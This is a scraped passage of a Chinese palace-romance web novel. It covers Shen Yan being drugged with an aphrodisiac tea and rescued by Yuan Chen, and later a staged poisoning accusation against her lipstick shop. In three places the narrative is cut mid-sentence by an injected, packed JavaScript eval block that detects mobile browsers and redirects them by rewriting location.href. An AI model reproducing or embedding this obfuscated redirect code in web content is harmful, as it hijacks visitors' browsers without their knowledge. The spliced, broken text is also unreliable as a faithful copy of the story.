那名女使将沈妍引到花厅后，便去忙别的事了。顾府对园内各处安排周全，另有专程侍奉茶水的女使过来侍候沈妍。 后来的那名女使头梳双髻，说话轻声细语，边斟茶边对沈妍道：“沈娘子稍待片刻，尝尝咱们这里新制的桃花引吧？” 因适才在马场外受了一场惊吓，沈妍这会儿正觉口渴，连“桃花引”三字都仿佛变得格外芳香诱人。 从女使手上接过茶盏，她一口气连饮了两盏。 不料此物竟似越饮越渴，没多会儿工夫，沈妍便感觉口干舌燥，浑身燥热难耐，将半臂向两侧拉开些许才稍觉好一些。 那名女使不知何时已经不知去向。 沈妍只觉身上越来越烫，连呼吸都急促起来，四肢却酸软无力，最终一个支撑不住，歪倒在一旁的坐榻上。 浑浑噩噩中，她恍惚听见外面有脚步声传来。 透过被风掀起的纱帘，一双漆黑的鹿皮靴正快步向她靠近。 * 一切均在照计划进行。 宝瓶只想立刻将这个好消息告诉郡主，唯恐稍晚一步会错过无比精彩的一幕。 与宝瓶找到高云锡的小厮同时，元琛也重整衣装从顾弘逸住处出来。 最近几次赴宴，他都将沈妍带在身边，故而并未专门安排暗卫跟随。 眼下她和顾家千金一起，总不至于再出什么乱子，但一想到适才的凶险，到底还是寻个借口打发侍从过去接人。 那名侍从很快返回，向元琛报告：“沈娘子未同顾家娘子在一起，听说钦国公有要事找沈娘子，适才派人传她去了沁园。” 元琛闻言脚步一顿，眉目沉冷下来。 高云锡有什么事需要单独约见沈妍？ 而且，这中间也不知隔了几层传话的奴仆…… 元琛不知想到什么，忽地提步朝沁园方向走去。不知不觉间，他脚步越走越快，没多一会儿，连侍卫都被他远远甩在后面。 沁园花厅，元琛掀开四面垂挂的纱帘，乍见眼前的景象不禁呆住。 前方，沈妍发丝散乱，衣衫不整地斜倚在坐榻上，看样子神志也不甚清明。 心头猛地一沉，元琛一个箭步冲到沈妍跟前，声色紧绷：“阿妍？” 听见他的声音，沈妍似乎察觉到什么，缓缓抬起头来。 她的面色潮红异常，颊边几缕鬓发悉数被汗水打湿，像在竭力克制着什么，她抬手指了指前方的桌案，语音轻颤：“那壶桃花引……有……有问题……” 闻言，元琛看了眼被她随手丢在坐榻上的杯盏，又见沈妍目光迷离，眉眼间春色浸染，当即心下恍然。 想到有人竟用如此卑劣的手段暗算沈妍，他面色越发沉寒，只因担心沈妍，这才强压下心头如潮水般翻滚的怒意。 正思索该去哪找解药，冷不防手腕被沈妍一把握住，拉向前方。 随着沈妍将脸颊贴上他的手掌，元琛整条手臂不由僵住。 女人杏眸如秋水潋滟，直勾勾望着他，下一瞬，脸颊似情不自禁在他掌心轻轻蹭了蹭，娇软微烫的触感带起缕缕酥麻，电流般顺着掌心传遍全身。 元琛喉结上下滚动了一下，被沈妍抓着的手臂忍不住微微战栗。 但他还不至于丧失理智，想到适才侍从所说，以及背后给沈妍下药之人的险恶用心，当即闭目深吸一口气，再睁开眼，眸底似有凌光一闪。 从沈妍怀中抽出手臂，他解开自己身上的披风搭在她身上，随即将沈妍打横抱起，面色凝重地朝花厅外走去。 不想才出来，迎面遇上了大步赶来的高云锡。 42. 鼻血 后者一脸不明所以,看着他们走近，恍然意识到什么，担忧地叫了声“沈妍”。 元琛却只当没听见，步履不停地将身子转了个角度，堪堪将沈妍挡在高云锡视线之外。 救人要紧，他这会儿没工夫搭理高云锡，更不想让沈妍这副模样落在任何人眼里。 不远处，顾婉仪也匆匆赶来。适才见侍卫过来打听沈妍，她便觉出异样，事后稍一思量，即刻带人出门来寻沈妍。 所幸看样子沈妍并无性命之忧，但顾婉仪还是一眼瞥见了对方通红的面颊，还有，整个人明显已经神志不清…… “世子，沈娘子她怎么了？”快步赶上前，顾婉仪急声问元琛。 元琛显然并不想节外生枝，面色无澜地边走边道：“无妨，我先带她回府。” 闻言，顾婉仪愣了愣，随即了然点头。今日邀约沈妍，对方却两次在她眼皮子底下遇险，她心中很是过意不去。 既然元琛不愿多言，她自然也不好过分打听，心想还是等沈妍好了，再私底下找她问明情由。 一旁，高云锡却按耐不住了，甩开大步，不管不顾地挡在元琛身前，目光却落在他怀中的女子身上，就差把“不放心”三个字写脸上了。 此举连顾婉仪都觉出不妥，抿唇惴惴地偷眼瞄向元琛。 后者长眉紧锁，倏地抬眼看向高云锡，本就清冷的凤眸仿佛就要掉出冰碴。 两个男人无声无息地对峙霎那。 高云锡显然已经看出沈妍中了药，脸上神情更不放心了，冲元琛咬牙切齿：“元忌平，你敢乘人之危，我绝不饶你！” 闻言，元琛眸色越发沉得骇人，但只简短回了句：“让开。”说着撞开高云锡的肩膀，大步朝前走去。 高云锡垂在身侧的右手陡然捏紧成拳，片刻又缓缓松开。 名义上的侍妾也是侍妾。任他再怎么不甘心，总不能公然冲上去抢夺。 说到底，他只是个不相干之人。 不相干，却心有不甘。 定定凝着元琛渐远的身影，高云锡不知何时已是双目赤红，平日微微上翘的唇角此刻肉眼可见地沉下去，掌心的南珠耳坠不知何时已被汗水浸湿。 * 当然，心有不甘的并不只有高云锡一个。 距花厅更远些的漱玉池畔，桓莹玉和宝瓶将适才花厅外发生的一切尽收眼底。 只是不知为何，预想中的精彩画面并未出现。 不仅没出现，该来的人也不对——最后居然是元琛抱着那女人走出花厅。 而且，她身上裹得严严实实，与计划中有伤风化的画面实在相差甚远。 更可气的是，那女人双手还勾着元琛的脖颈，脸颊贴着他肩膀。这一幕刺得桓莹玉眼仁生疼，至于之前花厅内的个中细节，她简直不堪去想。 秀拳捏得指节泛白，她双眸盈满了愤懑与不甘。 宝瓶则更加疑惑不解。 为什么？ 该做手脚的地方她样样都没落下，可以说，任何一个环节都没有做错…… 为何卫世子偏偏那么快就出现在沁园？ 明明钦国公人都已经赶来了…… * 沁园花厅外，顾婉仪等人见沈妍被元琛带走，也都相继散去。 只有高云锡仍纹丝不动地僵立在原地。 桓莹玉从他身后款步上前，觑着高云锡猩红的眼眶冷嗤一声：“你争不过元琛。” 后者对她的话仿若未闻，闻言转身抬脚便走。 “你想得到那个女人——”桓莹玉声线微扬。 高云锡脚步蓦地顿住，刹那间眉眼冷若凝霜。 桓莹玉唇角微勾，觑着高云锡的背影，阴寒的声音不紧不慢，像一条滑凉的蛇：“刚好我也恋慕表兄。那你想不想知道，假如我们合作，结果会怎样？” 话音未落，高云锡已转过身来，冷锐的目光紧盯着她。 桓莹玉眼尾勾起一抹得色。 虽然前方的男子脸上情绪未明，但好像被她说动了呢。 怎料猝不及防对方身形一晃，适才还与她相隔十来步远，眨眼人已站在她面前。 他手上不知何时多了一柄短刀，寒凉的利刃抵在桓莹玉细软的脖颈上。 一旁，宝瓶一声惊呼未及出口，便被高云锡以桓莹玉的性命为要挟沉声喝止。 她惊愕地用力捂紧嘴巴，瞪着这位神秘莫测的异邦公，眼底越来越难以置信。 高云锡开口，声音沉冷得吓人：“信不信，你再敢动沈妍一根手指，我会叫你身首异处。” 闻言，桓莹玉声音虽仍维持镇定，看向高云锡的眼神却染上了讶然与警惕：“你想怎样？” “解药交出来。” “你凭什么认为是我动的手脚？” 高云锡冷嗤一声，握刀的手稍稍又往前送了送，桓莹玉莹白的颈上迅速溢出一排细小的血珠。 “不给吗？”他说，低沉阴厉的嗓音透着嗜血的疯狂。 桓莹玉无奈地闭了闭眼，最终还是说出了高云锡想要的答案。 没办法，谁让她碰上一个疯子？ 目的达成，“疯子”一言不发地收了手，用和来时一样快的速度消失在桓莹玉视线中。 “郡、郡主……你没事吧？”宝瓶担忧地望着桓莹玉，哆哆嗦嗦掏出帕子，想帮她擦去颈间的血迹。 “滚！” 人迹罕至的湖畔陡然响起一声歇斯底里的尖叫。 * 漱玉池外，元琛快步将沈妍抱上马车。在这之前，他已急命人请了郎中至府中。 侍卫扬鞭催马，卫王府的车轿迅速驶离园门。 车厢内，元琛刚将沈妍放上坐榻，手臂又被她一把捞了过去。 下一瞬，女人的身子软蛇般贴上来。 元琛浑身一僵，他从未见过这样的沈妍，虽知她中了药，心中仍忍不住浮起丝丝异样。这感觉让他面红耳热，心跳陡然加速。 “渴……”面前，沈妍低低呢喃着。 元琛醒过神，从她怀中抽出手臂，转身从一旁的榻桌上倒水给她喝。 纵使努力平复心绪，捏着茶盏的手指仍几近打着颤将水递到沈妍嘴边。 她像是渴极了，低头就着他的手一气将水喝干，完事仍似意犹未尽，淡粉色舌尖轻舔着鲜润欲滴的唇瓣。 元琛看着她，喉结上下滚了滚，幽暗的眸色越发深不见底。 凝神转身再去倒水时，不料沈妍忽从背后拥住他，一双皓臂暖玉般缠在他腰间。 她适才出了不少汗，此刻身上湿哒哒，软绵绵，炙烫的呼吸萦绕在元琛颈间，带着丝丝缕缕甜香。 元琛整个从头到脚地僵住，伴随着重如擂鼓般的心跳，他手指不受控制地一颤，茶盏掉在地上，发出一声闷响。 回过神，俯身去捡茶盏时，手背骤然洒下几滴温热，元琛低眸一看，不禁愕然——他、他居然……流鼻血了。 像要竭力掩盖什么，元琛抬手抹去鼻尖的血珠，低哑的嗓音透着些许不知所措，也不知安慰沈妍，还是安慰他自己：“你再……再坚持一会儿，很快就到王府了。” 说话间背后之人骤然身子一沉，元琛觉出不对，诧异转身——沈妍似是再也支撑不住，在他面前滑倒下去。 元琛忙一把将人捞起，声音紧绷道：“阿妍？” 沈妍没回答，元琛见她双目紧闭，眉心痛苦地拧在一处。与此同时，一股红得刺眼的血水从她唇边缓缓淌出。 元琛心头大惊，意识到不对，迅速捏住了她下颌。 这个女人为强迫自己清醒，竟生生咬破舌尖，再这样下去，不知道她下一步还会做出什么事来。 皱眉凝着她，元琛神色复杂，心里无声地叹了口气。 知道对方忍得辛苦，而面对这样的沈妍，他自己又何尝不是？ 为防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654570|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止沈妍继续自伤，他还是一横心出手打昏了她，一面冲外面急吼：“再快些！” * 马车沿着官道一路疾行。在他们后方，却有一轻骑飞快追至。 车厢内，元琛听见渐进的马蹄声眼波微动。长指挑开轿帘，他偏头向车后望去。 来人他认得，是高云锡的一名心腹。 喊停车马后，那人当即飞身下马，朝轿内恭敬叉手：“在下钦国公府执事宋安，奉家主之命，为沈娘子奉上解药。”言罢从怀中掏出一个寸许长的红漆木匣双手擎上。 元琛听见“解药”二字，心头一松，命侍卫将药收下，唇边却是弯起一抹冷嘲：“替我谢过你家公爷。” 虽然心知高云锡追送解药别有用心，但是这厮的为人他信得过，更看不得沈妍受苦。 于是连忙从木匣内取出药丸，重新倒了净水喂她服下。 马车抵达卫王府时郎中已在府中等侯。 小满事先收到侍卫送信，因不放心沈妍，早已神色焦切地侯在大门外。 看见世子抱着沈妍下车，小满急忙冲上前。 及至见到沈妍的情状，联想到她所中之毒，小满暗自觉得，虽说方才那郎中看样子已有春秋，但毕竟是个男子，给主子看诊的话，是否多有不便…… 不过她也知晓治病要紧，况且有卫世子在前，她也不好多言。 结果没多久，她便发现自己的担心是多余的。 兰竹轩内，老郎中看向元琛的眼神万般为难：“世子命老夫瞧病，可……这……老夫总得瞧瞧人什么样了吧？” 话落，元琛脸色越发难看得不像话：“不方便。” “那……世子可否描述一下这位娘子中毒后的情状？” 元琛未答，脸却更黑了。 小满觉得郎中都快哭了。 “那……那把脉总可以吧？”老郎中拧着眉心一脸苦涩地说。 元琛想了想，总算同意让郎中隔着床帐给沈妍把脉。 期间他择其精要讲述了沈妍中毒后的表现，自是完美避开了某些“不太方便”的画面，随后又说了沈妍来的路上所服的解药。 老郎中久居宫中，见多识广，给出的判断与宋安所述一致，认为沈妍所中之毒乃催情秘药玉台烬。 若非及时服下解药，轻则短暂丧失意识无法自控，拖延过久恐有性命之忧。 见沈妍吃下解药后已无大碍，郎中于是只开了后面调理的方子，嘱咐小满早晚各一次，连服三日，余毒可清。 等郎中离开，元琛看沈妍吃药后睡得还算安稳，终是缓缓吐出一口凉气，吩咐小满有何异常随时去迎晖阁找他。 * 当晚，沈妍并没有什么异常，元琛却要了命了。 梦里，沈妍在轿中并未咬破舌尖，也没有被他打昏。 相反，她从后面搂住他后，继续收紧玉臂。他则反身拥住了她…… 三更半夜，老脸通红的卫世子从床上爬起来，默默去浴室清洗里衣。 因为那个不可描述的梦，元琛后半夜都没怎么睡着。 翌日顶着两个黑眼圈早早上朝去了。 早朝结束后，高云锡忽然从身后叫住他。 元琛转身，与高云锡视线相触，二人同时心照不宣地朝宫墙边僻静无人处溜达。 “沈娘子怎样了？”高云锡也不同他废话，脚跟还没站稳，单刀直入地问。 元琛皱起眉心，目光沉冷：“不关你的事。” 高云锡一哂，打量元琛这副气定神闲的模样，料想沈妍必定无事，心中一块石头落了地，却仍气不过元琛昨日的霸道。 于是，他从襟前掏出那枚耳坠子，在元琛面前摊开手掌，神色倨傲：“那行，帮我把这个还她。” 高云锡说话时，元琛视线扫过他掌心的南珠耳坠一滞。 下一瞬，劈手夺过耳坠，他看向高云锡的目光似要将他戳出窟窿。 43. 碰面 后者桃花眼弯弯，得意挑眉：“想不想知道沈娘子的耳坠为何会在我手中？” 他说话时，元琛先是一愣，继而脑中闪过昨日拥着沈妍躲避那匹疯马的画面。 慢慢掀起眼皮，他视线从耳坠转向高云锡，轻嗤一声：“无聊。”继而朝对方一伸手，“拿来。” 高云锡似是给他一噎，收手攥紧了耳坠，深吸一口气瞪他：“那你就不想知道她是如何中的毒？” “我已查清楚了。”元琛道，“还有，多谢你的解药。” 高云锡冷哼，抬眼睨他：“你屡次利用沈妍，倘若她真出了什么事——” “我不会让她有事。”元琛打断他，言罢猝然欺身，劈手夺过那枚耳坠，转身便走，边走还边撂下一句，“有事也轮不到你管。” “你！”高云锡在他身后咬牙切齿，“你一再利用沈妍，无非就是乘人之危！她究竟有什么把柄握在你手中？” 他自然无法从元琛口中听到答案。 “你屡次牵连她，私心未免也太重了。”高云锡继续不甘道。 话音落地，元琛脚步顿住，回身盯着高云锡，眸光锋利，声音沉缓：“你敢说你就没有私心？” 闻言，高云锡嘴唇抽了抽，却未发出任何声响。 元琛看他这样，面色越发难看，冷睨他一眼，再次抬脚离开。 不多时行至一个僻静无人处，他慢慢止步。 一名禁中巡逻的侍卫在他跟前站定。 “世子。”侍卫朝他叉手一礼，压声道。 元琛面色无波：“北境情况如何？” “一切就绪。” “奏疏的事呢？” “世子放心，都安排好了。” 元琛闻言眼眸微眯，眸底浮起一抹寒光。 * 当天早晨，沈妍醒来后，听小满说了中毒事件的来龙去脉。 得知自己中了催情秘药，又循着记忆片段拼凑出在花厅和车轿中与元琛之种种……最后，她生无可恋地将脸埋进了掌心。 直到傍晚下朝时间，沈妍仍未准备好该如何面对卫世子。 而元琛同样也因为昨晚那个不可描述的梦，一直没好意思去兰竹轩。 期间只派长庚过去打探了一番沈妍的恢复情况。 随后两日，终于有点缓过来的沈妍忽然发现卫世子言行处处透着古怪。 ……元琛怎么好像比她还难为情？ 显而易见，对方就是在故意躲避她。还有，偶尔碰面，他甚至还会脸红…… 莫非是因为自己那时候唐突了人家？ 这么一想，沈妍更觉天都塌了，最近还是先别见面得好。 让她缓一缓，缓一缓……等事情淡得差不多了再说吧。 往常，元琛下了朝由大路返回，沈妍从大路迎上。如今，两人均心有灵犀地选择了绕路而行。 结果好巧不巧，碰个正着。 沈妍：“……” 元琛：“……” 双双都老脸一红。 最后，还是沈妍率先打破沉默：“世、世子回来了。”她声音听起来还算正常，沈妍言罢不无欣慰地想。 “唔。”元琛眼神有点飘，“你……都好了？” 沈妍：“……”能不能别哪壶不开提哪壶。 “是啊。”她干笑两声，硬着头皮，“谢世子关心。” “那、那就好。” “给世子添麻烦了。” “嗯。”——嗯？ 像是突然意识到什么，元琛刷一下黑了脸，语气也冷飕飕：“不然你想麻烦谁？高云锡吗？” 沈妍：“……”这家伙好像老毛病又犯了。 “以后离他远点儿。”元琛阴着脸继续说道。 沈妍：“……”本来也没离多近吧？ “还有，以后再去赴宴，不准离开我的视线。”元琛又道，见沈妍愣神未答，又沉声补了句，“听到没有？” “哦。”沈妍应声。罢了，看在世子冒险相救的份上，不同他计较了。 元琛对这个答案似乎还算满意，提步离开时，在沈妍视线之外慢慢扬起唇角。 * 时序已然入夏，随着气温攀升，点绛唇分店的生意也日渐红火。 这日午后，小满坐在点绛唇大堂柜台边，边拨弄算珠，边翻看着账本，视线落在最后排一个数字上时，忍不住瞠目咋舌。 随即，她冲不远处站着迎宾的丁香使了个眼色。 后者很快赶来，小满等丁香将脑袋凑过来，笑盈盈指着账本上那个数字悄声嘀咕：“咱们发财啦！” 丁香盯着账本，一双美目越睁越大，半晌缓过神来，与小满叽叽咕咕有说有笑。 店外忽然闯进来一伙青壮年男子，一个个皆作街头闲汉打扮。 他们当中不知是谁喊了句“就是这家店”，话落，众人冲进来便是一通打砸。 几名店员见状急忙上前阻拦。 小满和丁香正要过去时，外面又进来一男一女。女的一动不动趴在男的背上，不知是死是活。 那男子一面将背上的女子撂在地上，一面放声喊道：“黑心口脂店谋财害命，毒死人啦！” 话音落下，本就混乱的场面越发乱作一团。 * 大堂的吵嚷声很快惊动了正在楼上制香的沈妍。 她边扶着楼梯往下走，边审视着大堂内。 伙计们正与几名打砸的闲汉相互拉扯，小店内外挤满了围观人群，人们引论纷纷，不时朝着大堂中央指指点点。 一名穿杏色细布圆领衫的年轻女子蜷着身子躺在地上。她身旁站着一名褐衣男子，看样子比那女子年龄稍长，已然及冠，此刻不依不饶地扯着掌柜刘骥云不肯松手。 刘骥云虽被那男子拽歪了衣襟，仍在好言解释：“这位小哥有话好说，本店开业半月有余，还从未出过这样的事。你确定这位娘子所用的口脂出自本店？” 男子闻言从袖中掏出一枚拇指粗的青漆竹筒，指着底部冲刘骥云嚷嚷：“你看看这上面，点绛唇的章清清楚楚，你们还想抵赖么？”言罢拔开筒盖，将里面的口脂对众展示。 沈妍远远瞄了一眼，那口脂的颜色乍看起来，的确很像点绛唇新推的热卖品猩猩晕。 褐衣男子边将口脂向四面展示，边苦着脸哀告：“大伙都来瞧瞧，俺妹子昨日就是从这家店买了这支口脂，谁想今早用过之后，就变得双唇发黑，口鼻流血。就是这家黑心的口脂店——”他指着刘骥云和周围店员们痛斥，“就是他们做的毒口脂把俺妹子害成这样！” 他说话间，小满正准备上楼找沈妍，抬头看见她，忙从大堂柜台上抄起账本快步赶去。 沈妍站在楼梯上问小满：“那个口脂当真是从我们店中……” 话未说完，小满回答说“是”，似知道沈妍要问什么，她将手中的账本翻开，点着其中一个条目给沈妍看。丁香此时也上来说对那中毒的女子有印象。 沈妍闻言疑惑地皱起眉心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672288|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大堂内，男子蓦地一把推开刘骥云，大吼：“俺妹子若是有个三长两短，我定要你们为她偿命！” 沈妍见状，唇边却漾起一抹冷嘲：“好一个关心妹妹的好兄长！” “主子是看出什么了？”小满好奇地看着她。 沈妍：“第一，那地上的女子既然都奄奄一息了，这位兄长不说赶紧请郎中救人，反倒急着找点绛唇理论。” “第二，大堂放着这么多圈椅、坐榻、月牙几，他却直接将人撂在地上。单凭这两点，此人要么意在讹钱，要么是别有用心。” “从他大张旗鼓招揽人围观上看，恐怕不只是讹钱这么简单。” 小满和丁香本就不相信自家口脂有问题，听沈妍如此说回过味来，越发气得咬牙跺脚。 三人快步来到大堂。 丁香和小满分开人群，气呼呼挤上前去。 “你休要血口喷人！”小满大声与那男子理论，“本店用的都是正经材料，自开业来，不知买出去多少管这样的口脂，真要有毒，怎么别人用着都没事？” 丁香也附和：“谁知道你妹子是不是吃喝了什么不干净的东西，却诬赖我家口脂有毒。” 争吵间，周遭围观的人越来越多，大家七嘴八舌，一时间众说纷纭。 男子闻言毫不客气地冲小满两个重重“呸”了一声，骂咧咧道：“俺妹子早起人还好好的，连一口水都没喝，用完你家口脂就成了这样，不怪你们怪谁？叫你们当家的出来！” “我便是当家的。”沈妍走上前。 至此她已大致理清了中毒事件的脉络，见来人有意将事情闹大，分明是冲点绛唇而来。 她倒未曾想，区区一家分店，才开业没多久，竟闹出人命关天的大事来。此番若不加以澄清，日后谁还敢来点绛唇买东西？ “令妹可曾找郎中看过？确定是中毒？”她问那男子。 对方道：“自然是看过，确诊中毒才来的。” 沈妍又指着男子手中口脂：“可否将这支口脂借我看看？” 男子闻言却一脸警觉地攥紧口脂：“你休想毁灭证据！” 沈妍打量那管口脂，外表虽与自家东西并无两样，但里面究竟装得什么却难说。 倘若有心造假，只需将里面原本的口脂取出来，再灌注他物即可。 不过此举成本有点高，正常商家这么做得不偿失，除非有人诚心找茬。 总之，此事疑点太多，单凭男子一面之词根本说明不了什么。 另外，点绛唇售卖的口脂，每个环节她都亲自经手，有无问题她心中有数。 眼下闹的这出已经影响到店铺正常做生意，若双方继续各执一词，夹缠不清，只会让情况更糟。 眼下只有请官方介入，制止来人胡闹，还点绛唇一个清白。 想清楚此节，她扬声道：“既如此，那便报官吧，毕竟是人命关天的事。”一面留意对方神色，若他存心捣鬼，面对官府介入，未必能一直保持坦然。 不料男子却仿佛只等她这句话似的，沈妍话音才落，他便迫不及待道：“报官就报官！当老子怕你不成？” 沈妍听他如此说，不由心生疑惑。 说话间，外面数名衙役呼喝着分开人群，进入店内。 这些衙役号称来自刑部，为首一名中年男子白面短须，自称刑部令史，姓王。 沈妍闻言一愕，正常情况，此事该由武侯来调停，或直接交由京兆府审理，为何刑部的人突然出现？ 44. 自证 听见来人喊出刑部的名头，周遭瞬时一静，继而响起嗡嗡议论声。 “刑部的人怎么来了？” “是啊，这来得也太快了，不会又要制造什么冤假错案吧？这种事他们近些年可没少干。” “这下恐有人要倒霉了。刑部哪管什么青红皂白？把人抓进去一通严刑拷打，没有他们定不了的罪。” “嘘，小声点儿，当心把你也抓进大牢！” …… 沈妍听着周遭百姓的话，又看姓王令史面色不善，不由心头一凛。 更让她疑惑的是，从刑部衙署来到点绛唇少说要两炷香时间，而那对兄妹进门至今都还没那么久……这些衙役怎么来得这样凑巧？ 因整件事处处透着蹊跷，沈妍越发怀疑背后有人设计，故意找点绛唇麻烦。 之前这种事不是没有发生过。 可那个人会是谁？ 李胭娘不是都已经自尽了吗？连她的女使菊芬都已溺水身亡。 大堂中的男子很快对王令史原样说了妹妹中毒的经过。 那王令史闻言，甚至没有给沈妍开口的机会，当场沉下脸道：“请沈掌柜随我等到刑部走一趟。” 沈妍震惊到无语，小满和丁香几个更是吓得脸色煞白。 “王令史，民女眼下即可证明那支口脂并非出自点绛唇。”沈妍缓过神来，朗声言道。 适才她主动提出报官，当然是有自证清白的底气。 扫了一眼那男子手中的口脂，她看向围观的众人，“因此事关乎本店的声誉，肯请令史准允民女在顾客面前自证清白。” 这个要求合情合理，当着这么多人，姓王的令史并无理由拒绝。 果然，沈妍话音落下，店内伙计和围观百姓们纷纷附和。点绛唇货真价实，开业这段时间在京中赢得了很好的口碑。 王令史显然没想到她会提出这个要求，闻言有些不耐皱了皱眉，但碍于形式，只能点头应允，语气敷衍道：“说吧。” 沈妍闻言从大堂货架上取来一支同款同色的口脂，吩咐小满找来一张宣纸。 随即，她拔开手中口脂的盖子，将里面的东西对众展示：“这支是本店新推出的口脂猩猩晕。” 言罢又一指男子手上的竹筒，“与这位大哥手中之物表面看并无两样，实则迥然不同，大家请看——”她拔下发间银簪，将自家口脂挑出来些许，涂在宣纸上。 又让那名男子从他带来的口脂中取出少许涂在旁边。之后，她拿钗尖先后在两团涂过口脂的宣纸上来回擦抹。 片刻后，前者色泽并无变化，后者却迅速变暗变黑。 这一变化在人群间引发了一片讶然。 “令史及诸位顾客请看，”沈妍当众举起宣纸，指着变黑处说道，“口脂经由银钗摩擦变黑，表明里面融有铅粉。铅粉会让口脂色的泽鲜亮，这也是市面上大部分口脂添加铅粉的原因。” 一顿后，她又道，“而本店所有口脂均采用天然红花、紫草等植物着色，非但对皮肤无毒无害，用久了反而会起到滋养作用。这一点，点绛唇货架上所有口脂乃至作坊内的原料，可任凭大人查验。” 话落，王令史挥挥手，几名官差迅速奔向货架及二楼小作坊。 大堂里无数双眼睛盯着，沈妍并不担心这些衙役做手脚。 不过二楼的情况却说不准了，当下，她朝刘骥云递了个眼色，后者随即带同两名伙计跟上去。 沈妍又道：“此外，两支口脂的香气也不同。”她将宣纸递给姓王的，“令史请闻闻看，这位小哥带来的口脂香气浓烈，味道微微刺鼻，但涂抹后不久便会消散，而点绛唇的口脂气味清幽平和，留香也更持久。” 王令史凑近鼻子闻了闻，面上仍不动声色，不置可否，不过依照程序，还是将宣纸传给了身边另外两名衙役。 那两人闻后却不约而同地点点头。期间，也有衙役拿银器将沈妍和那男子手上的口脂又验了一遍，结果和沈妍所验并无二致。 很快，大堂和楼上查验的官差们先后返回，向王令史报告店中口脂及原料暂未发现有毒。 沈妍趁机说道：“本店售卖的口脂虽小，工艺却极为繁复，故均为批量产出，没理由单独做出某一支口脂售卖，所以——”她指着男子手上的口脂，“他这支口脂并非出自点绛唇。” 她如此说，既是为自己澄清，也存心想借机宣传点绛唇。 果然，她说话间，人群中不住传出惊愕与赞叹声。 沈妍最后对王令史道：“民女纵有害人之心，专门做一支有毒的口脂，也无法预料到这位娘子会来本店购买，望大人明鉴。” 王令史听完面色难看道：“沈掌柜所言虽不无道理，但那支竹筒上毕竟有点绛唇的印章。沈掌柜还须随我等走一趟，配合调查。”说着大手一挥，两名衙役便要上前拿人。 沈妍见状忍不住道：“大人为何只将民女一人带走审讯？焉知那支竹筒内的口脂不是有人事后灌注，诬陷本店？” 她看出姓王的令史只针对自己，却对那对兄妹不闻不问，哪有这样办案的？ 沈妍此话一出，人群中跟着响起一片愤愤之声。 王令史听话音全在指责他和刑部办案，不由黑了脸斥道：“本官办案，何须旁人置喙？” 这次他没再给沈妍辩驳的机会，大手一挥命属下立刻将人带走。 两名衙役得令，一左一右扭着沈妍向店外推搡。 正在此时，外面忽有人扬声道了句：“且慢。” 声音响处，人群散开，一队披坚执锐的侍卫齐整整跨进店中。 为首的男子身姿高挑挺拔，一袭天青色缺胯袍加身，腰间悬着长剑，颇有儒将风范，乃是元琛麾下参军，如今皇城翌卫校尉薛坚。 王令史看见来人，惊讶脱口：“翌卫？” 像在肯定他的话，薛坚冲他略一颔首，自报家门：“翌卫校尉薛坚，敢问这位官差如何称呼？” 被薛坚如此一问，王令史当即规规矩矩叉手：“刑部令史王纪。”又对薛坚道，“适才听闻此处出了点乱子，是以带着人赶来。” 薛坚“呵呵”一声，表情似乎是在笑，眼神却有点冷：“怎么，这种程度的案子也配劳动刑部大驾？” 王纪闻言神色闪了闪，垂眸沉声道：“分内之事，何敢言劳。” 薛坚睨着他，适才嘴角勾起的那点笑意一点点消失：“那王大人是觉得京兆府都是吃闲饭的，还是打算拿京城巡防当摆设？” 话音落下，王纪见他身后的一班侍卫个个横眉怒目，按着腰刀紧盯住刑部一众衙役，不禁脸色一白。 不等他有所反应，薛坚已经对手下下令：“都愣着做什么？还不把人都带走？” 侍卫们得令二话不说，迅速涌向那对兄妹以及打砸的几名闲汉。 当然，最后也没放过沈妍。 期间王纪刚想说什么，忽被薛坚抬手按住肩膀：“此事翌卫自会调查清楚，请王令史放心。”后者语气不软不硬道，说着似想起什么，一顿又道，“王令史如有什么疑义，可叫你们尚书找元将军理论。” 言外之意，他王纪连说“不”的资格都没有。 王纪给他一噎，原本泛白的面色涨得如同猪肝。 可是他能有什么办法？ 不管讲道理，还是动武，他们都被翌卫强压一头，最后也只能眼睁睁看着侍卫们将店内相关人等悉数带走。 而另一边，薛坚心里无比清楚，沈妍此行只是走个过场而已。稍后他便亲自将人送回了点绛唇。 店外，因薛坚尚有公务要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700560|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙，沈妍原本说请他喝茶也被推辞掉，只得反复道谢后将薛坚送出门外。 正要告辞返回店中，忽听薛坚道了声：“沈娘子。”他眉眼间不知何时染了一层忧色，嘴唇翕动了两下，终是欲言又止地开口，“京城水深复杂，望沈娘子日后凡事小心珍重。” 